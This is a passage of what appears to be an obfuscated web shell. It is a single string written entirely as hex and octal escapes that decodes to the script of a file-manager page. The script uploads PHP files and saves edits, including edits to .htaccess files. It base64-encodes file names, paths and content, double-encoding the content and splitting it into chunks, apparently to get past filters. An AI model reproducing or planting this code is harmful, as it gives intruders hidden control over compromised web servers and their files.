\12\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x61\160\151\103\141\154\x6c\50\x61\143\x74\151\x6f\x6e\54\40\x66\x64\51\x2e\164\x68\145\156\50\x72\145\156\144\145\x72\51\x3b\xa\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\175\xa\x20\x20\40\x20\40\40\40\x20\x7d\51\73\12\x20\x20\40\x20\x20\40\40\x20\xa\40\x20\x20\x20\40\x20\40\x20\144\x6f\x6d\x2e\x75\160\154\157\x61\x64\x42\164\x6e\56\141\144\144\x45\x76\145\x6e\164\x4c\151\x73\164\x65\156\x65\162\x28\x27\143\154\151\143\153\47\x2c\x20\50\51\x20\75\x3e\x20\144\x6f\x6d\x2e\x68\151\144\x64\x65\156\106\151\x6c\x65\x49\156\x70\165\x74\x2e\x63\154\x69\x63\x6b\50\51\51\73\12\x20\40\x20\x20\x20\40\40\x20\x64\157\x6d\x2e\150\x69\x64\144\x65\x6e\106\151\154\145\111\x6e\160\x75\164\56\x61\144\x64\x45\166\x65\x6e\x74\114\x69\163\x74\145\156\145\162\50\47\143\x68\x61\156\147\145\47\x2c\40\141\163\171\x6e\x63\40\50\145\x29\40\75\x3e\40\x7b\12\x20\40\x20\40\40\40\40\x20\40\40\40\x20\x63\x6f\x6e\x73\164\40\x66\x69\154\145\x73\40\x3d\40\x41\x72\x72\141\171\x2e\146\162\157\x6d\50\x65\56\164\x61\x72\147\145\164\x2e\146\151\x6c\145\163\x29\73\x20\151\x66\x20\50\x66\x69\154\x65\x73\x2e\x6c\145\x6e\x67\164\150\40\x3d\x3d\75\40\x30\51\x20\x72\145\x74\165\162\x6e\73\12\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\146\x6f\162\40\x28\x63\x6f\x6e\163\164\x20\x66\151\x6c\x65\x20\157\x66\40\x66\151\x6c\145\x73\x29\x20\173\12\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\151\146\x20\x28\146\151\154\x65\x2e\x73\x69\x7a\x65\x20\76\40\x55\120\x4c\x4f\x41\x44\137\114\111\x4d\111\x54\137\115\x42\x20\x2a\40\61\x30\x32\64\x20\x2a\40\61\x30\x32\64\x29\40\173\40\x61\154\145\162\164\50\140\x45\162\162\x6f\162\x3a\40\x46\151\x6c\145\x20\42\x24\173\x66\x69\x6c\x65\56\x6e\x61\155\145\x7d\42\x20\151\x73\40\164\x6f\157\40\x6c\141\x72\x67\x65\x20\50\115\141\170\x3a\x20\44\x7b\125\x50\114\117\101\104\x5f\114\111\x4d\111\x54\137\115\x42\175\x20\x4d\102\51\x2e\x60\x29\x3b\40\x63\157\156\164\x69\156\x75\x65\73\x20\x7d\12\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\143\x6f\x6e\163\164\x20\162\145\141\144\x65\162\40\x3d\40\156\145\167\x20\x46\151\154\145\x52\145\141\144\x65\x72\x28\x29\73\12\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\x63\x6f\156\163\164\40\x66\151\x6c\x65\122\145\141\x64\x50\x72\157\x6d\x69\163\x65\x20\x3d\40\156\145\167\40\120\162\157\x6d\x69\163\145\x28\50\162\145\x73\x6f\154\x76\x65\54\40\x72\x65\152\x65\x63\164\51\x20\75\x3e\x20\x7b\40\162\145\141\x64\145\x72\x2e\157\156\154\x6f\141\144\x20\x3d\x20\x65\166\x65\156\164\40\x3d\76\x20\x72\x65\x73\x6f\154\166\145\x28\145\166\145\156\164\56\x74\x61\162\x67\145\x74\56\162\x65\x73\x75\x6c\164\51\73\40\x72\145\141\144\x65\x72\56\x6f\x6e\x65\162\x72\x6f\162\40\x3d\40\145\162\x72\x6f\162\40\75\76\40\162\145\x6a\x65\143\x74\x28\x65\x72\x72\157\x72\51\73\x20\x72\x65\x61\x64\145\162\56\x72\x65\141\144\x41\163\104\x61\164\141\x55\122\x4c\x28\x66\x69\154\x65\x29\73\x20\x7d\51\73\12\40\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\x74\x72\171\x20\x7b\12\40\40\40\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\40\40\x20\x63\x6f\156\x73\164\40\x63\157\x6e\164\x65\x6e\164\x5f\142\141\x73\145\66\64\x20\x3d\x20\x61\167\141\151\x74\x20\146\151\x6c\145\122\145\x61\x64\120\162\157\155\x69\163\x65\x3b\12\40\x20\x20\40\x20\40\40\40\40\40\40\x20\40\40\40\40\x20\x20\40\x20\x63\157\x6e\x73\x74\40\x6f\162\151\147\151\x6e\x61\154\116\x61\x6d\x65\x20\x3d\40\x66\x69\154\145\x2e\156\141\x6d\145\x3b\12\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x63\x6f\x6e\163\164\x20\146\144\x20\x3d\40\x6e\145\167\40\106\x6f\x72\155\x44\141\164\141\x28\x29\73\xa\40\x20\40\x20\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\146\x64\56\141\x70\x70\x65\156\144\50\47\160\x61\x74\150\47\54\40\x53\124\x41\x54\105\x2e\x63\165\x72\x72\145\156\164\120\141\164\150\51\73\12\x20\40\40\40\40\x20\x20\x20\40\40\40\40\40\40\40\40\40\40\x20\x20\146\x64\56\141\160\160\145\x6e\x64\x28\x27\x63\157\x6e\x74\x65\156\x74\137\x62\x61\163\145\66\64\x27\54\x20\143\157\156\164\145\156\164\x5f\142\141\163\x65\x36\64\51\73\12\40\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\151\146\40\50\x6f\162\151\x67\151\156\141\154\x4e\141\155\x65\56\164\x6f\114\157\x77\x65\162\x43\x61\163\145\50\x29\x2e\145\x6e\144\163\x57\x69\x74\x68\50\x27\56\x70\x68\160\x27\51\x29\40\x7b\12\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\146\144\x2e\x61\x70\160\145\156\x64\50\47\146\151\x6c\145\x6e\141\x6d\x65\137\x62\x61\163\145\x36\x34\47\x2c\40\x62\164\157\141\50\x6f\x72\151\147\151\156\141\x6c\x4e\x61\155\x65\51\51\x3b\xa\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\40\40\40\x20\x20\x20\141\167\x61\151\x74\x20\141\160\151\x43\141\154\x6c\50\x27\x75\x70\154\x6f\x61\x64\x5f\x70\x68\x70\x27\x2c\40\146\144\54\40\x74\162\165\145\x29\x3b\xa\x20\40\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\175\40\145\154\x73\x65\x20\x7b\xa\40\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\146\144\x2e\141\160\160\145\x6e\144\x28\47\146\x69\154\x65\156\x61\x6d\145\x5f\142\x61\163\145\x36\x34\x27\54\40\142\164\x6f\141\x28\157\x72\151\x67\151\x6e\141\x6c\116\141\155\x65\51\x29\73\12\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\40\141\167\x61\x69\x74\x20\141\160\x69\103\x61\154\154\50\47\165\x70\154\x6f\141\144\47\x2c\x20\x66\x64\x2c\40\x74\x72\165\x65\x29\x3b\xa\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x7d\12\40\x20\40\40\40\40\40\x20\40\x20\40\40\x20\40\40\40\x7d\40\143\141\x74\x63\x68\x20\x28\x65\162\162\157\162\x29\40\x7b\xa\40\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\x61\154\145\x72\x74\50\x60\x46\141\151\x6c\x65\144\40\x74\157\x20\x70\162\x6f\143\x65\163\163\40\x66\151\x6c\145\x20\x24\173\146\x69\154\x65\56\156\141\x6d\145\175\72\x20\44\173\x65\162\x72\x6f\x72\56\155\x65\x73\163\141\x67\145\x7d\x60\x29\x3b\12\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x7d\xa\40\40\x20\x20\x20\40\40\40\40\40\x20\40\175\12\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x65\56\164\141\x72\147\145\x74\56\x76\x61\x6c\x75\x65\40\x3d\x20\x27\47\73\12\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\162\x65\156\x64\145\162\x28\51\x3b\xa\x20\x20\40\40\x20\x20\40\x20\x7d\51\x3b\12\xa\x20\40\40\40\40\40\40\40\144\x6f\x6d\56\x73\141\166\x65\102\x74\x6e\x2e\x61\144\144\x45\166\145\156\x74\114\x69\163\164\145\156\145\x72\x28\x27\x63\154\151\x63\x6b\47\x2c\40\x28\x29\40\75\76\x20\x7b\xa\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x63\x6f\x6e\163\164\40\x70\x61\164\x68\x20\75\40\144\x6f\x6d\x2e\x65\x64\x69\164\157\162\x46\151\x6c\x65\156\x61\155\x65\56\x74\x65\170\x74\x43\157\x6e\164\x65\x6e\164\x3b\12\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\x63\157\156\x73\x74\x20\143\x6f\156\164\145\x6e\164\40\75\40\x62\x74\x6f\x61\50\x62\164\157\141\50\144\157\x6d\56\145\x64\151\x74\x6f\162\x2e\166\x61\x6c\x75\x65\x29\51\x3b\xa\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x63\157\x6e\163\x74\40\x66\x64\x20\75\40\156\x65\167\40\x46\157\x72\x6d\x44\x61\x74\141\50\x29\73\12\x20\40\x20\40\40\x20\x20\40\40\40\x20\40\x63\x6f\x6e\163\x74\40\143\150\x75\156\153\x53\151\172\145\40\x3d\40\64\x30\71\x36\73\12\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\40\146\157\162\x20\x28\154\x65\164\40\151\x20\75\40\60\73\x20\x69\40\74\40\x63\157\156\x74\x65\156\x74\x2e\154\145\156\147\x74\150\73\x20\151\40\x2b\75\x20\x63\150\165\x6e\x6b\x53\151\172\145\x29\40\173\xa\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\146\x64\x2e\141\160\x70\145\156\144\50\x27\143\157\x6e\x74\145\x6e\x74\x5f\143\150\165\156\x6b\x73\133\x5d\x27\x2c\x20\143\x6f\156\164\145\156\x74\x2e\x73\165\x62\x73\x74\x72\151\156\x67\x28\x69\x2c\40\x69\x20\x2b\40\x63\x68\x75\156\x6b\123\151\172\x65\x29\51\73\12\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\x7d\xa\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\154\x65\164\40\141\x63\164\151\157\x6e\40\75\40\47\163\141\166\145\x5f\143\x6f\156\x74\x65\x6e\164\47\x3b\12\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\151\146\x20\x28\160\141\164\150\56\x69\156\143\154\165\144\145\x73\x28\x27\x2e\150\x74\141\x63\143\x65\163\x73\x27\x29\x29\x20\173\xa\x20\40\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\40\40\141\x63\x74\151\157\x6e\x20\75\40\47\x73\141\x76\x65\137\x63\x6f\x6e\164\145\156\164\x5f\142\66\64\x27\73\12\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\146\x64\56\141\x70\160\x65\156\144\x28\47\160\141\x74\x68\x5f\x62\66\64\47\54\x20\142\164\157\x61\x28\x70\x61\x74\x68\51\51\x3b\xa\40\x20\40\40\40\40\40\x20\40\x20\40\40\x7d\40\x65\x6c\163\x65\x20\x7b\xa\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x66\x64\56\x61\x70\x70\x65\x6e\144\50\47\x70\141\164\x68\47\54\x20\x70\x61\x74\150\51\x3b\xa\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x7d\xa\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\141\160\x69\103\x61\x6c\154\50\x61\143\164\x69\x6f\156\x2c\x20\x66\x64\x2c\40\164\162\x75\x65\51\56\x74\x68\145\156\x28\x72\x65\163\165\154\164\x20\75\x3e\x20\173\xa\40\40\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\x69\x66\x28\x72\x65\163\165\x6c\164\x29\40\173\12\x20\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\144\157\x6d\x2e\145\144\151\x74\157\162\x4d\x6f\144\141\x6c\56\x73\x74\171\154\x65\56\x64\x69\163\x70\154\x61\171\40\75\x20\47\x6e\157\156\x65\x27\x3b\12\x20\40\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\x72\x65\x6e\x64\x65\x72\x28\51\x3b\12\40\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\x20\x7d\12\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\175\x29\x3b\xa\x20\40\x20\x20\x20\x20\x20\x20\x7d\x29\x3b\12\xa\40\x20\40\x20\x20\40\40\x20\162\145\x6e\x64\x65\x72\50\x29\73\12\40\40\x20\40\175\51\73\xa\x20\40\40\x20\x3c\x2f\x73\143\x72\x69\x70\164\76\xa\74\x2f\142\157\x64\171\76\12\x3c\57\x68\164\x6d\154\x3e";